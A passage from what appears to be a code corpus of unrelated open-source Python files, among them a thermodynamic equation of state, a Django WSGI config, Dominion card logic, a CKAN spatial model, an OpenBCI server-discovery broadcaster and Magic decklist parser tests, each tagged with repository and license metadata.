neg_names = [line[line.rfind("/")+1:] for line in neg.read().split()] neg.close() for name in neg_names: ret.add_empty_image(name) return ret
rodrigob/visiongrader
src/parsers/inria_bool.py
Python
gpl-3.0
2,233
#!/usr/bin/python3 # -*- coding: utf-8 -*- '''Pychemqt, Chemical Engineering Process simulator Copyright (C) 2009-2017, Juan José Gómez Romera <jjgomera@gmail.com> This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.''' from unittest import TestCase from lib import unidades from lib.meos import MEoS class neoC5(MEoS): """Multiparameter equation of state for neopentane""" name = "neopentane" CASNumber = "463-82-1" formula = "C(CH3)4" synonym = "" _refPropName = "NEOPENTN" _coolPropName = "Neopentane" rhoc = unidades.Density(235.9265106) Tc = unidades.Temperature(433.74) Pc = unidades.Pressure(3196.0, "kPa") M = 72.14878 # g/mol Tt = unidades.Temperature(256.6) Tb = unidades.Temperature(282.65) f_acent = 0.1961 momentoDipolar = unidades.DipoleMoment(0.0, "Debye") id = 9 Fi1 = {"ao_log": [1, 3.], "pow": [0, 1], "ao_pow": [0.8702452614, 1.6071746358], "ao_exp": [14.422, 12.868, 17.247, 12.663], "titao": [710/Tc, 1725/Tc, 3280/Tc, 7787/Tc]} f = 72.151/8.3143 CP1 = {"ao": -0.435375*f, "an": [0.96766e-2*f, -0.11533e-4*f, 0.108006e-7*f, -0.44851e-11*f], "pow": [1, 2, 3, 4]} lemmon = { "__type__": "Helmholtz", "__name__": "short Helmholtz equation of state for neopentane of " "Lemmon and Span (2006).", "__doi__": {"autor": "Lemmon, E.W., Span, R.", "title": "Short Fundamental Equations of State for 20 " "Industrial Fluids", "ref": "J. Chem. Eng. Data, 2006, 51 (3), pp 785–850", "doi": "10.1021/je050186n"}, "R": 8.314472, "cp": Fi1, "ref": "NBP", "Tmin": Tt, "Tmax": 550.0, "Pmax": 200000.0, "rhomax": 8.71, "nr1": [1.1136, -3.1792, 1.1411, -0.10467, 0.11754, 0.00034058], "d1": [1, 1, 1, 2, 3, 7], "t1": [0.25, 1.125, 1.5, 1.375, 0.25, 0.875], "nr2": [0.29553, -0.074765, -0.31474, -0.099401, -0.039569, 0.023177], "d2": [2, 5, 1, 4, 3, 4], "t2": [0.625, 1.75, 3.625, 3.625, 14.5, 12.], "c2": [1, 1, 2, 2, 3, 3], "gamma2": [1]*6} polt = { "__type__": "Helmholtz", "__name__": "Helmholtz equation of state for neopentane of Polt " "(1992)", "__doi__": {"autor": "Polt, A., Platzer, B., Maurer, G.", "title": "Parameter der thermischen Zustandsgleichung von " "Bender fuer 14 mehratomige reine Stoffe", "ref": "Chem. Technik 22(1992)6 , 216/224", "doi": ""}, "R": 8.3143, "cp": CP1, "ref": "NBP", "Tmin": 273.0, "Tmax": 498.0, "Pmax": 20000.0, "rhomax": 8.511, "nr1": [-0.146552261671e1, 0.199230626557e1, -0.500821886276, 0.119809758161e1, -0.363135896710e1, 0.312770556886e1, -2.37405105853, 0.473735725047, 0.101500881659, 0.184937708516, -0.290527628579e-1, -0.258919377284e-1, 0.748831217999e-1, 0.216569936506e-1, -0.100375687935, 0.234924630013e-1], "d1": [0, 0, 0, 1, 1, 1, 1, 1, 2, 2, 2, 3, 3, 4, 4, 5], "t1": [3, 4, 5, 0, 1, 2, 3, 4, 0, 1, 2, 0, 1, 0, 1, 1], "nr2": [0.146552261671e1, -0.199230626557e1, 0.500821886276, -0.834410647812, 0.262918341468e1, -0.188136966583e1], "d2": [0, 0, 0, 2, 2, 2], "t2": [3, 4, 5, 3, 4, 5], "c2": [2]*6, "gamma2": [0.968832]*6} eq = lemmon, polt _vapor_Pressure = { "eq": 3, "n": [-0.70262e1, 0.20090e1, -0.19932e1, -0.28503e1, -0.53760], "t": [1.0, 1.5, 2.2, 4.8, 6.2]} _liquid_Density = { "eq": 1, "n": [0.56080e1, -0.13549e2, 0.29912e2, -0.28143e2, 0.89021e1], "t": [0.45, 0.7, 1.0, 1.25, 1.6]} _vapor_Density = { "eq": 2, "n": [-.25177e1, -.63565e1, -.11985e3, .43740e3, -.10749e4, .74007e3], "t": [0.366, 1.14, 4.0, 5.0, 6.0, 6.5]} class Test(TestCase): def test_shortLemmon(self): # Table 10, Pag 842 st = neoC5(T=435, rhom=3) self.assertEqual(round(st.P.kPa, 3), 3256.677) self.assertEqual(round(st.hM.kJkmol, 3), 34334.720) self.assertEqual(round(st.sM.kJkmolK, 3), 92.525) self.assertEqual(round(st.cvM.kJkmolK, 3), 184.435) self.assertEqual(round(st.cpM.kJkmolK, 3), 5161.767) self.assertEqual(round(st.w, 3), 93.352)
jjgomera/pychemqt
lib/mEoS/neoC5.py
Python
gpl-3.0
5,119
""" WSGI config for urbanmaps project. This module contains the WSGI application used by Django's development server and any production WSGI deployments. It should expose a module-level variable named ``application``. Django's ``runserver`` and ``runfcgi`` commands discover this application via the ``WSGI_APPLICATION`` setting. Usually you will have the standard Django WSGI application here, but it also might make sense to replace the whole Django WSGI application with a custom one that later delegates to the Django one. For example, you could introduce WSGI middleware here, or combine a Django application with an application of another framework. """ import os # We defer to a DJANGO_SETTINGS_MODULE already in the environment. This breaks # if running multiple sites in the same mod_wsgi process. To fix this, use # mod_wsgi daemon mode with each site in its own daemon process, or use # os.environ["DJANGO_SETTINGS_MODULE"] = "urbanmaps.settings" os.environ.setdefault("DJANGO_SETTINGS_MODULE", "urbanmaps.settings") # This application object is used by any WSGI server configured to use this # file. This includes Django's development server, if the WSGI_APPLICATION # setting points here. from django.core.wsgi import get_wsgi_application application = get_wsgi_application() # Apply WSGI middleware here. # from helloworld.wsgi import HelloWorldApplication # application = HelloWorldApplication(application)
thefinn93/urbanmaps
urbanmaps/wsgi.py
Python
gpl-3.0
1,428
#!/usr/bin/python # -*- coding: utf-8 -*- from game.cards.card import Card, ACTION, VICTORY, ATTACK, TREASURE from game.cards.common import Curse, Duchy, Gold #TODO golem/possesion class Philosophersstone(Card): cardtype = TREASURE cost = (3, 1) name = "Philosopher's Stone" def buy_step(self, game, player): dis = len(player.discardpile) deck = len(player.drawpile) player.money += abs(dis-deck) / 5 class Alchemist(Card): cardtype = ACTION cost = (3, 1) name = "Alchemist" def __init__(self): Card.__init__(self) def action_step(self, game, player): game.draw_card(count=2) player.actions += 1 def cleanup_step(self, game, player): potions = [c for c in player.board if c.name == "Potion"] if potions: game.ask_yes_no(self, 'Put Alchemist on top of your deck?') def handler(self, game, player, result): if result == 'Yes': player.board.remove(self) player.drawpile.add(self) game.yell("%s puts Alchemist on top of his deck" % player.name) game.resolved(self) return True class ScryingPool(Card): cardtype = ACTION | ATTACK cost = (2, 1) name = "Scrying Pool" def __init__(self): Card.__init__(self) self.revealed = {} def action_step(self, game, player): self.revealed = {} player.actions += 1 (self.revealed)[player.id] = game.reveal_top_card(player) game.attack(self, self.attack_handler, expect_answer=False, on_restore_callback=self.handler) def attack_handler(self, game, attacked_player, result): (self.revealed)[attacked_player.id] = game.reveal_top_card(attacked_player) return True def handler(self, game, player): gen = [(game.get_player_by_id(pid), (self.revealed)[pid]) for pid in self.revealed if (self.revealed)[pid]] def do_scry(*args, **kwargs): try: (p, card) = gen.pop() def handle_answer(_, ap, result): if result == 'Yes': ap.discardpile.add(card) else: ap.drawpile.add(card) return True game.ask_yes_no(self, "Discard %s's %s?" % (p.name, card.name), handle_answer, do_scry, card) except IndexError: revealed = [] def put_on_hand(): for card in revealed: player.hand.add(card) game.update_player(game.active_player) return True while 1: card = game.reveal_top_card() if not card: return put_on_hand() revealed.append(card) if not card.cardtype & ACTION: return put_on_hand() do_scry() class Herbalist(Card): cardtype = ACTION cost = (2, 0) name = "Herbalist" def __init__(self): Card.__init__(self) def action_step(self, game, player): player.buys += 1 player.money += 1 def cleanup_step(self, game, player): treasures = [c for c in player.board if c.cardtype & TREASURE] def put_back(game, player, result): if len(result) > 1: game.whisper("You have to choose one or zero cards") return False for card_id in result: card = player.deck.get_card(card_id) player.put_on_drawpile(card) game.resolved(self) return True if treasures: game.let_order_cards(self, 'Put up to one Treasure back on your deck', treasures, put_back) else: game.resolved(self) class Vineyard(Card): cardtype = VICTORY cost = (0, 1) name = "Vineyard" def __init__(self): Card.__init__(self) def end_step(self, game, player): action_cards = player.deck.get_actions() player.score += len(action_cards) / 3 class Familiar(Card): known = True extra_actions= 1 extra_cards= 1 cardtype = ACTION | ATTACK cost = (3, 1) name = "Familiar" def __init__(self): Card.__init__(self) def action_step(self, game, player): game.draw_card() player.actions += 1 game.attack(self, expect_answer=False) def attack_handler(self, game, attacked_player, result): curse_pile = game.get_pile(Curse) game.take_card_from_pile(attacked_player, curse_pile, safe=True) return True class University(Card): cardtype = ACTION cost = (2, 1) name = "University" def __init__(self): Card.__init__(self) def action_step(self, game, player): player.actions += 2 game.ask_yes_no(self, 'Gain an Action card costing up to 5?') def handler(self, game, player, result): if result == 'Yes': game.let_pick_pile(self, "Pick an Action card costing up to 5", self.pick_handler) else: game.resolved(self) game.update_player(player) return True def pick_handler(self, game, player, result): pile = next(pile for pile in game.allpiles if pile.id == result) if game.get_cost(pile)[0] > 5 or (pile.cost)[1] > 0 or not pile.card.cardtype & \ ACTION: game.whisper("You have to pick an Action card with cost up to 5") return False game.take_card_from_pile(player, pile) game.resolved(self) return True class Transmute(Card): cardtype = ACTION cost = (0, 1) name = "Transmute" def __init__(self): Card.__init__(self) def action_step(self, game, player): game.let_pick_from_hand(self, 'Pick a card to trash') def handler(self, game, player, result): if not player.hand: return True if len(result) != 1: game.whisper("You have to choose one card") return False card = next(card for card in player.hand if card.id in result) game.trash_card(player, card) if card.cardtype & ACTION: game.take_card_from_pile(player, game.get_pile(Duchy), safe= True) if card.cardtype & TREASURE: game.take_card_from_pile(player, game.get_pile(Transmute), safe=True) if card.cardtype & VICTORY: game.take_card_from_pile(player, game.get_pile(Gold), safe= True) game.resolved(self) return True class Apprentice(Card): cardtype = ACTION cost = (5, 0) name = "Apprentice" def __init__(self): Card.__init__(self) def action_step(self, game, player): player.actions += 1 game.let_pick_from_hand(self, 'Pick a card to trash') def handler(self, game, player, result): if not player.hand: return True if len(result) != 1: game.whisper("You have to choose one card") return False card = next(card for card in player.hand if card.id in result) [game.draw_card() for _ in xrange(game.get_cost(card)[0])] game.trash_card(player, card) if (card.cost)[1]: game.draw_card(count=2) game.resolved(self) return True class Apothecary(Card): cardtype = ACTION cost = (2, 1) name = "Apothecary" def __init__(self): Card.__init__(self) def action_step(self, game, player): player.actions += 1 game.draw_card() self.handler(game, player) def handler(self, game, player): cards = [] for _ in xrange(4): card = game.reveal_top_card(player) if card: if card.name in ("Copper", "Potion"): player.hand.add(card) else: cards.append(card) def put_back(game, player, result): if len(result) != len(cards): game.whisper("You have to choose all cards") return False for card_id in result: card = player.deck.get_card(card_id) player.put_on_drawpile(card) game.resolved(self) return True if cards: game.let_order_cards(self, 'Put cards back on your deck', cards, put_back) else: game.resolved(self)
luisgustavossdd/TBD
game/cards/alchemy.py
Python
gpl-3.0
8,822
from logging import getLogger from sqlalchemy import Table from ckan.lib.base import config from ckan import model from ckan.model import Session from ckan.model import meta from ckan.model.domain_object import DomainObject from ckanext.spatial.geoalchemy_common import setup_spatial_table log = getLogger(__name__) package_extent_table = None DEFAULT_SRID = 4326 #(WGS 84) def setup(srid=None): if package_extent_table is None: define_spatial_tables(srid) log.debug('Spatial tables defined in memory') if model.package_table.exists(): if not Table('geometry_columns',meta.metadata).exists() or \ not Table('spatial_ref_sys',meta.metadata).exists(): raise Exception('The spatial extension is enabled, but PostGIS ' + \ 'has not been set up in the database. ' + \ 'Please refer to the "Setting up PostGIS" section in the README.') if not package_extent_table.exists(): try: package_extent_table.create() except Exception,e: # Make sure the table does not remain incorrectly created # (eg without geom column or constraints) if package_extent_table.exists(): Session.execute('DROP TABLE package_extent') Session.commit() raise e log.debug('Spatial tables created') else: log.debug('Spatial tables already exist') # Future migrations go here else: log.debug('Spatial tables creation deferred') class PackageExtent(DomainObject): def __init__(self, package_id=None, the_geom=None): self.package_id = package_id self.the_geom = the_geom def define_spatial_tables(db_srid=None): global package_extent_table if not db_srid: db_srid = int(config.get('ckan.spatial.srid', DEFAULT_SRID)) else: db_srid = int(db_srid) package_extent_table = setup_spatial_table(PackageExtent, db_srid)
NicoVarg99/daf-recipes
ckan/ckan/ckanext-spatial/ckanext/spatial/model/package_extent.py
Python
gpl-3.0
2,051
""" pyrsb demo """ import numpy import scipy from scipy.sparse import csr_matrix from pyrsb import * V = [11.0, 12.0, 22.0] I = [0, 0, 1] J = [0, 1, 1] a = rsb_matrix((V, (I, J))) nrhs = 4 # set to nrhs>1 to multiply by multiple vectors at once nr = a.shape[0] nc = a.shape[1] # Choose Fortran or "by columns" order here. order = "F" x = numpy.empty([nc, nrhs], dtype=rsb_dtype, order=order) y = numpy.empty([nr, nrhs], dtype=rsb_dtype, order=order) x[:, :] = 1.0 y[:, :] = 0.0 print(a) print(x) print(y) # Autotuning example: use it if you need many multiplication iterations on huge matrices (>>1e6 nonzeroes). # Here general (nrhs=1) case: a.autotune() # Here with all the autotuning parameters specified: a.autotune(1.0,1,2.0,'N',1.0,nrhs,'F',1.0,False) # Inefficient: reallocate y y = y + a * x # Inefficient: reallocate y y += a * x # Equivalent but more efficient: don't reallocate y a._spmm(x,y) print(y) del a
michelemartone/pyrsb
demo2.py
Python
gpl-3.0
929
#!/usr/bin/python # -*- coding: utf-8 -*- import json import zmq import sys import time from socket import * import Queue import select import threading from obci.control.common.message import OBCIMessageTool, send_msg, recv_msg, PollingObject from obci.control.launcher.launcher_messages import message_templates, error_codes from obci.control.common.obci_control_settings import PORT_RANGE import obci.control.common.net_tools as net UPDATE_INTERVAL = 8 _LOOPS = 3 ALLOWED_SILENCE = 45 def update_nearby_servers(srv_data, bcast_port, ctx=None, update_push_addr=None): mtool = OBCIMessageTool(message_templates) loops_to_update = _LOOPS s = socket(AF_INET, SOCK_DGRAM) s.bind(('', bcast_port)) notify_sock = None if update_push_addr is not None: ctx = ctx if ctx else zmq.Context() notify_sock = ctx.socket(zmq.PUSH) notify_sock.connect(update_push_addr) while 1: changed = False try: inp, out, exc = select.select([s], [], [], UPDATE_INTERVAL / _LOOPS) except Exception, e: srv_data.logger.critical("nearby_servers_update - exception: %s", str(e)) srv_data.logger.critical("nearby_servers - aborting") return if s in inp: data, wherefrom = s.recvfrom(1500, 0) # sys.stderr.write(repr(wherefrom) + '\n') # sys.stdout.write(data) msg = unicode(data, encoding='utf-8') msg = msg[:-1] message = mtool.unpack_msg(msg) changed = srv_data.update(ip=wherefrom[0], hostname=message.sender_ip, uuid=message.sender, rep_port=message.rep_port, pub_port=message.pub_port) else: # print "no data" pass loops_to_update -= 1 if loops_to_update == 0: loops_to_update = _LOOPS changed = srv_data.clean_silent() if changed: send_msg(notify_sock, mtool.fill_msg('nearby_machines', nearby_machines=srv_data.dict_snapshot())) s.close() def broadcast_server(server_uuid, rep_port, pub_port, bcast_port): mtool = OBCIMessageTool(message_templates) msg = mtool.fill_msg("server_broadcast", sender_ip=gethostname(), sender=server_uuid, rep_port=rep_port, pub_port=pub_port) msg += u'\n' str_msg = msg.encode('utf-8') s = socket(AF_INET, SOCK_DGRAM) s.bind(('', 0)) s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) # introduction for i in range(10): try: s.sendto(str_msg, ('<broadcast>', bcast_port)) except error, e: pass time.sleep(0.3) # updates while 1: try: s.sendto(str_msg, ('<broadcast>', bcast_port)) except error, e: print "[obci_server] Cannot broadcast obci_server, will try again in 1min:", str(e) time.sleep(53) time.sleep(7) s.close()
BrainTech/openbci
obci/control/launcher/server_scanner.py
Python
gpl-3.0
3,062
import textwrap from magic import decklist def test_parse() -> None: s = """ 3 Barter in Blood 4 Consume Spirit 4 Demonic Rising 4 Devour Flesh 2 Distress 2 Dread Statuary 4 Haunted Plate Mail 3 Homicidal Seclusion 4 Hymn to Tourach 2 Infest 4 Quicksand 4 Spawning Pool 14 Swamp 2 Ultimate Price 4 Underworld Connections Sideboard 1 Distress 2 Dystopia 1 Infest 4 Memoricide 2 Nature's Ruin 1 Pharika's Cure 4 Scrabbling Claws""" s = textwrap.dedent(s) d = decklist.parse(s) assert sum(d['maindeck'].values()) == 60 assert len(d['maindeck']) == 15 assert len(d['sideboard']) == 7 def test_parse2() -> None: s = """ 3 Barter in Blood 4 Consume Spirit 4 Demonic Rising 4 Devour Flesh 2 Distress 2 Dread Statuary 4 Haunted Plate Mail 3 Homicidal Seclusion 4 Hymn to Tourach 2 Infest 4 Quicksand 4 Spawning Pool 14 Swamp 2 Ultimate Price 4 Underworld Connections 1 Distress 2 Dystopia 1 Infest 4 Memoricide 2 Nature's Ruin 1 Pharika's Cure 4 Scrabbling Claws""" s = textwrap.dedent(s) d = decklist.parse(s) assert len(d['maindeck']) == 15 assert len(d['sideboard']) == 7 def test_parse3() -> None: s = """ 3 Barter in Blood 4 Consume Spirit 4 Demonic Rising 4 Devour Flesh 2 Distress 2 Dread Statuary 4 Haunted Plate Mail 3 Homicidal Seclusion 4 Hymn to Tourach 2 Infest 4 Quicksand 4 Spawning Pool 14 Swamp 2 Ultimate Price 4 Underworld Connections 1 Distress 2 Dystopia 1 Infest 4 Memoricide 2 Nature's Ruin 1 Pharika's Cure 4 Scrabbling Claws""" s = textwrap.dedent(s) d = decklist.parse(s) assert len(d['maindeck']) == 15 assert len(d['sideboard']) == 7 def test_parse4() -> None: s = """ 3 Barter in Blood 4 Consume Spirit 4 Demonic Rising 4 Devour Flesh 2 Distress 2 Dread Statuary 4 Haunted Plate Mail 3 Homicidal Seclusion 4 Hymn to Tourach 2 Infest 4 Quicksand 4 Spawning Pool 14 Swamp 2 Ultimate Price 4 Underworld Connections Sideboard 1 Distress 2 Dystopia 1 Infest 4 Memoricide 2 Nature's Ruin 1 Pharika's Cure 4 Scrabbling Claws """ s = textwrap.dedent(s) d = decklist.parse(s) assert len(d['maindeck']) == 15 assert len(d['sideboard']) == 7 def test_parse5() -> None: s = """ 4 Animist's Awakening 4 Copperhorn Scout 14 Forest 4 Harvest Season 4 Jaddi Offshoot 4 Krosan Wayfarer 4 Loam Dryad 4 Nantuko Monastery 4 Nest Invader 4 Quest for Renewal 4 Rofellos, Llanowar Emissary 2 Sky Skiff 4 Throne of the God-Pharaoh 0 Villainous Wealth """ s = textwrap.dedent(s) d = decklist.parse(s) assert len(d['maindeck']) == 13 assert len(d['sideboard']) == 0 # Test that a 71 card deck includes the last 15 as sideboard def test_parse6() -> None: s = """ 4 Animist's Awakening 4 Copperhorn Scout 15 Forest 4 Harvest Season 4 Jaddi Offshoot 4 Krosan Wayfarer 4 Loam Dryad 4 Nantuko Monastery 4 Nest Invader 4 Quest for Renewal 4 Rofellos, Llanowar Emissary 2 Sky Skiff 4 Throne of the God-Pharaoh 1 Distress 2 Dystopia 1 Infest 4 Memoricide 2 Nature's Ruin 1 Pharika's Cure 4 Scrabbling Claws """ s = textwrap.dedent(s) d = decklist.parse(s) assert sum(d['maindeck'].values()) == 61 assert len(d['maindeck']) == 13 assert len(d['sideboard']) == 7 # Test a 63 card deck + 12 sideboard def test_parse7() -> None: s = """ 16 Forest 4 Animist's Awakening 4 Copperhorn Scout 4 Harvest Season 4 Jaddi Offshoot 4 Krosan Wayfarer 4 Loam Dryad 4 Nantuko Monastery 4 Nest Invader 4 Quest for Renewal 4 Rofellos, Llanowar Emissary 4 Sky Skiff 4 Dystopia 1 Infest 4 Memoricide 2 Nature's Ruin 1 Pharika's Cure 4 Scrabbling Claws """ s = textwrap.dedent(s) d = decklist.parse(s) assert sum(d['maindeck'].values()) == 64 assert sum(d['sideboard'].values()) == 12 assert len(d['maindeck']) == 13 assert len(d['sideboard']) == 5 # Test a 61 card deck + 15 sideboard with one-offs around the cut def test_parse8() -> None: s = """ 24 Island 4 Curious Homunculus 4 Prism Ring 4 Anticipate 4 Take Inventory 4 Dissolve 3 Void Shatter 3 Jace's Sanctum 3 Whelming Wave 2 Control Magic 2 Confirm Suspicions 2 Counterbore 1 Rise from the Tides 1 Cryptic Serpent 1 Convolute 1 Lone Revenant 1 Careful Consideration 1 Opportunity 4 Annul 4 Invasive Surgery 3 Sentinel Totem """ s = textwrap.dedent(s) d = decklist.parse(s) assert sum(d['maindeck'].values()) == 61 assert sum(d['sideboard'].values()) == 15 assert d['maindeck']['Cryptic Serpent'] == 1 assert d['sideboard']['Convolute'] == 1 # Test a Gatherling deck with no sideboard def test_parse9() -> None: s = """ 2 Bonded Horncrest 4 Boros Guildgate 2 Charging Monstrosaur 2 Frenzied Raptor 3 Imperial Lancer 8 Mountain 2 Nest Robber 2 Pious Interdiction 9 Plains 1 Pterodon Knight 2 Rallying Roar 2 Shining Aerosaur 3 Sky Terror 2 Slash of Talons 4 Stone Quarry 2 Sure Strike 2 Swashbuckling 3 Territorial Hammerskull 2 Thrash of Raptors 1 Tilonalli's Skinshifter 2 Unfriendly Fire Sideboard""" s = textwrap.dedent(s) d = decklist.parse(s) assert sum(d['maindeck'].values()) == 60 assert sum(d['sideboard'].values()) == 0 assert d['maindeck']['Shining Aerosaur'] == 2 def test_parse10() -> None: s = """ Sideboard""" s = textwrap.dedent(s) d = decklist.parse(s) assert sum(d['maindeck'].values()) == 0 assert sum(d['sideboard'].values()) == 0 # Test a Commander deck. def test_parse11() -> None: s = """ 1 Groundskeeper 1 Jaddi Offshoot 1 Scute Mob 1 Frontier Guide 1 Llanowar Scout 1 Grazing Gladehart 1 Mwonvuli Beast Tracker 1 Ranging Raptors 1 Embodiment of Fury 1 Grove Rumbler 1 Mina and Denn, Wildborn 1 Cultivator of Blades 1 Embodiment of Insight 1 Garruk's Packleader 1 Akoum Hellkite 1 Baloth Woodcrasher 1 Oran-Rief Hydra 1 Rubblehulk 1 Borborygmos 1 Skarrg Goliath 1 Myojin of Infinite Rage 1 Apocalypse Hydra 1 Lay of the Land 1 Blackblade Reforged 1 Broken Bond 1 Evolution Charm 1 Fork in the Road 1 Ground Assault 1 Rampant Growth 1 Signal the Clans 1 Deep Reconnaissance 1 Elemental Bond 1 Fires of Yavimaya 1 Grow from the Ashes 1 Hammer of Purphoros 1 Harrow 1 Journey of Discovery 1 Nissa's Pilgrimage 1 Retreat to Valakut 1 Ghirapur Orrery 1 Seek the Horizon 1 Seer's Sundial 1 Splendid Reclamation 1 Overwhelming Stampede 1 Rude Awakening 1 Nissa's Renewal 1 Animist's Awakening 1 Clan Defiance 1 Blighted Woodland 1 Evolving Wilds 16 Forest 1 Gruul Guildgate 1 Kazandu Refuge 14 Mountain 1 Mountain Valley 1 Rogue's Passage 1 Rugged Highlands 1 Sylvan Ranger 1 Vinelasher Kudzu 1 Viridian Emissary 1 Zhur-Taa Druid 1 Tunneling Geopede 1 World Shaper 1 Zendikar Incarnate 1 Verdant Force 1 Strata Scythe 1 Sylvan Awakening 1 The Mending of Dominaria 1 Zendikar's Roil 1 Sunbird's Invocation 1 Zendikar Resurgent 1 Timber Gorge """ s = textwrap.dedent(s) d = decklist.parse(s) assert sum(d['maindeck'].values()) == 100 assert sum(d['sideboard'].values()) == 0 assert d['maindeck']['Timber Gorge'] == 1 # Test a deck that looks a bit like a Commander deck but isn't one. def test_parse12() -> None: s = """ 1 Felidar Sovereign 3 Elixir of Immortality 4 Ivory Tower 4 Rest for the Weary 4 Revitalize 2 Banishing Light 4 Healing Hands 4 Renewed Faith 4 Reviving Dose 4 Ritual of Rejuvenation 3 Survival Cache 4 Faith's Fetters 2 Boon Reflection 3 End Hostilities 4 Planar Outburst 1 Final Judgment 2 Sanguine Sacrament 4 Encroaching Wastes 2 Kjeldoran Outpost 19 Plains 4 Thawing Glaciers 3 Urza's Factory 2 Cataclysmic Gearhulk 1 Felidar Sovereign 2 Purify the Grave 4 Scrabbling Claws 1 Banishing Light 4 Invoke the Divine 1 End Hostilities """ s = textwrap.dedent(s) d = decklist.parse(s) assert sum(d['maindeck'].values()) == 85 assert sum(d['sideboard'].values()) == 15 # Test some zeroes as are sometimes given to us by mtggoldfish. def test_parse13() -> None: s = """ 0 Feast of Blood 3 Barter in Blood 4 Consume Spirit 4 Demonic Rising 4 Devour Flesh 2 Distress 0 Rhox Faithmender 2 Dread Statuary 4 Haunted Plate Mail 3 Homicidal Seclusion 4 Hymn to Tourach 2 Infest 4 Quicksand 4 Spawning Pool 14 Swamp 2 Ultimate Price 4 Underworld Connections 0 Island Sideboard 1 Distress 2 Dystopia 1 Infest 0 Scrabbling Claws 4 Memoricide 2 Nature's Ruin 1 Pharika's Cure 4 Scrabbling Claws""" s = textwrap.dedent(s) d = decklist.parse(s) assert sum(d['maindeck'].values()) == 60 assert len(d['maindeck']) == 15 assert len(d['sideboard']) == 7 def test_parse_tappedout_commander() -> None: s = """ 1 Altered Ego 1 Blighted Woodland 1 Bloodwater Entity 1 Bogardan Hellkite 1 Bounty of the Luxa 1 Broken Bond 1 Cackling Counterpart 1 Chandra's Ignition 1 Charmbreaker Devils 1 Chromatic Lantern 1 Circuitous Route 1 Clone 1 Confiscate 1 Conqueror's Galleon 1 Cryptoplasm 1 Crystal Ball 1 Cultivator's Caravan 1 Curse of the Swine 1 Dack's Duplicate 1 Diluvian Primordial 1 Elemental Bond 1 Evolving Wilds 1 Felhide Spiritbinder 1 Flameshadow Conjuring 1 Followed Footsteps 9 Forest 1 Gateway Plaza 1 Gilded Lotus 1 Grow from the Ashes 1 Gruul Guildgate 1 Gruul Signet 1 Helm of the Host 1 Highland Lake 1 Identity Thief 1 Insidious Will 1 Intet, the Dreamer 7 Island 1 Izzet Guildgate 1 Journeyer's Kite 1 Kederekt Leviathan 1 Memorial to Genius 1 Memorial to Unity 1 Memorial to War 1 Mercurial Pretender 1 Molten Primordial 4 Mountain 1 Ondu Giant 1 Protean Raider 1 Pyramid of the Pantheon 1 Quasiduplicate 1 Rampant Growth 1 Rattleclaw Mystic 1 Rishkar's Expertise 1 Rogue's Passage 1 Rugged Highlands 1 Rupture Spire 1 Saheeli's Artistry 1 Salvager of Secrets 1 Sculpting Steel 1 Simic Guildgate 1 Soul Foundry 1 Spelltwine 1 Sphinx of Uthuun 1 Stolen Identity 1 Sunbird's Invocation 1 Tatyova, Benthic Druid 1 Temur Ascendancy 1 Thawing Glaciers 1 Transguild Promenade 1 Treasure Cruise 1 Trophy Mage 1 Trygon Predator 1 Unexpected Results 1 Urban Evolution 1 Vesuvan Shapeshifter 1 Vivid Grove 1 Whispersilk Cloak 1 Wildest Dreams 1 Woodland Stream 1 Yavimaya Hollow 1 Zealous Conscripts 1 Zendikar Resurgent 1 Zndrsplt's Judgment """ s = textwrap.dedent(s) d = decklist.parse(s) assert sum(d['maindeck'].values()) == 100 assert len(d['maindeck']) == 83 assert len(d['sideboard']) == 0 def test_parse_scryfall() -> None: s = """ 4 Deeproot Champion 2 Quench 1 Spell Rupture 3 Terramorphic Expanse 4 Quirion Dryad 3 Hooting Mandrills 1 Snapback 4 Forest 1 Unsummon 4 Gitaxian Probe 2 Prohibit 3 Gush 4 Peek 2 Censor 4 Mental Note 2 Negate 3 Treasure Cruise 4 Evolving Wilds 9 Island // Sideboard 4 Scrabbling Claws 3 Naturalize 3 Snapback 4 Invasive Surgery 1 Boomerang """ s = textwrap.dedent(s) d = decklist.parse(s) assert sum(d['maindeck'].values()) == 60 assert sum(d['sideboard'].values()) == 15 def test_parse_double_blank_line() -> None: s = """ 4 Deeproot Champion 2 Quench 1 Spell Rupture 3 Terramorphic Expanse 4 Quirion Dryad 3 Hooting Mandrills 1 Snapback 4 Forest 1 Unsummon 4 Gitaxian Probe 2 Prohibit 3 Gush 4 Peek 2 Censor 4 Mental Note 2 Negate 3 Treasure Cruise 4 Evolving Wilds 9 Island 4 Scrabbling Claws 3 Naturalize 3 Snapback 4 Invasive Surgery 1 Boomerang """ s = textwrap.dedent(s) d = decklist.parse(s) assert sum(d['maindeck'].values()) == 60 assert sum(d['sideboard'].values()) == 15 def test_explicit_main_sb() -> None: s = """ Main: 4 Teferi, Mage of Zhalfir 2 Knowledge Pool 4 Mana Leak 4 Memory Lapse 4 Miscast 4 Swan Song 4 Fact or Fiction 4 Engulf the Shore 4 Everflowing Chalice 4 Frantic Inventory 4 Mystic Sanctuary 18 Island Sideboard: 2 Nezahal, Primal Tide 4 Soul-Guide Lantern 3 Marrow Shards 4 Flashfreeze 2 Control Magic """ s = textwrap.dedent(s) d = decklist.parse(s) assert sum(d['maindeck'].values()) == 60 assert sum(d['sideboard'].values()) == 15 def test_sideboard_with_sb() -> None: s = """ Main 4 Bastion of Remembrance 4 Bloodthrone Vampire 4 Cauldron Familiar 3 Dark Prophecy 4 Dark Ritual 4 Mayhem Devil 4 Mogg War Marshal 2 Putrid Goblin 4 Sling-Gang Lieutenant 3 Unearth 4 Witch's Oven 1 Barbarian Ring 4 Bloodfell Caves 3 Mountain 7 Swamp 4 Temple of Malice 1 Tomb of Urami Sideboard SB: 3 Claim the Firstborn SB: 3 Duress SB: 2 Slagstorm SB: 2 Slaughter Games SB: 3 Soul-Guide Lantern SB: 2 Goblin Cratermaker """ s = textwrap.dedent(s) d = decklist.parse(s) assert sum(d['maindeck'].values()) == 60 assert sum(d['sideboard'].values()) == 15 def test_dfcs() -> None: s = """ 4 Bala Ged Recovery 4 Bala Ged Recovery/Bala Ged Sanctuary 4 Bala Ged Recovery // Bala Ged Sanctuary 4 Delver of Secrets 4 Delver of Secrets/Insectile Aberration 4 Delver of Secrets // Insectile Aberration 4 Torrent 